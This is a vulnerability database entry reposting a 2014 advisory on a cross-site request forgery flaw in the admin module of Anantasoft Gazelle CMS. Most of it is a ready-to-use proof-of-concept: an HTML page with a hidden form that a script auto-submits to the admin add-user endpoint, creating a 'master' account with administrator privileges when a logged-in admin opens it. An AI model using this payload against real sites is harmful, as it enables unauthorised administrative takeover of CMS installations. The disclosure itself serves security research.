Anantasoft Gazelle CMS CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Anantasoft Gazelle CMS CSRF Vulnerability found in Admin modul


                                                                                =======================================================================
   
                                              Anantasoft Gazelle CMS CSRF Vulnerability
 
                                =======================================================================
   
                                                               by
   
                                                         Pratul Agrawal
 
   
   
  # Vulnerability found in- Admin module
   
  # email         [email protected]
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      Anantasoft_Gazelle_CMS

  # Category  	  CMS / Portals
  
  # Plateform     php
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://server/demo/2/193/Anantasoft_Gazelle_CMS
  
 
   Script to Add the Admin user through Cross Site request forgery
   
             .  ................................................................................................................
   
                        &#60;html&#62;

                          &#60;body&#62;

                             &#60;form name=&#34;XYZ&#34; action=&#34;http://site/gazelle/admin/index.php?Users/Add%20User&#34; method=&#34;post&#34;&#62;

                                    &#60;input type=hidden name=&#34;name&#34; value=&#34;master&#34;&#62;

                                    &#60;input type=hidden name=&#34;pass&#34; value=&#34;master&#34;&#62;

                                    &#60;input type=hidden name=&#34;controle&#34; value=&#34;master&#34;&#62;

                                    &#60;input type=hidden name=&#34;email&#34; value=&#34;master%40yahoo.com&#34;&#62;

                                    &#60;input type=hidden name=&#34;active&#34; value=&#34;on&#34;&#62;

                                    &#60;input type=hidden name=&#34;showemail&#34; value=&#34;on&#34;&#62;

                                    &#60;input type=hidden name=&#34;admin%5B%5D&#34; value=&#34;2&#34;&#62;

                                    &#60;input type=hidden name=&#34;save&#34; value=&#34;Add&#34;&#62;

                                    &#60;input type=hidden name=&#34;table&#34; value=&#34;users&#34;&#62;

                                    &#60;input type=hidden name=&#34;joindate&#34; value=&#34;2010-03-10+04%3A04%3A36&#34;&#62;
                             &#60;/form&#62;

                               &#60;script&#62;

                                 document.XYZ.submit();

                               &#60;/script&#62;

                          &#60;/body&#62;

                        &#60;/html&#62;
   
             .  ..................................................................................................................
   
   
   
  After execution refresh the page and u can see that user having giving name Added automatically with Admin Privilege.
  
  
#If you have any questions, comments, or concerns, feel free to contact me.

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1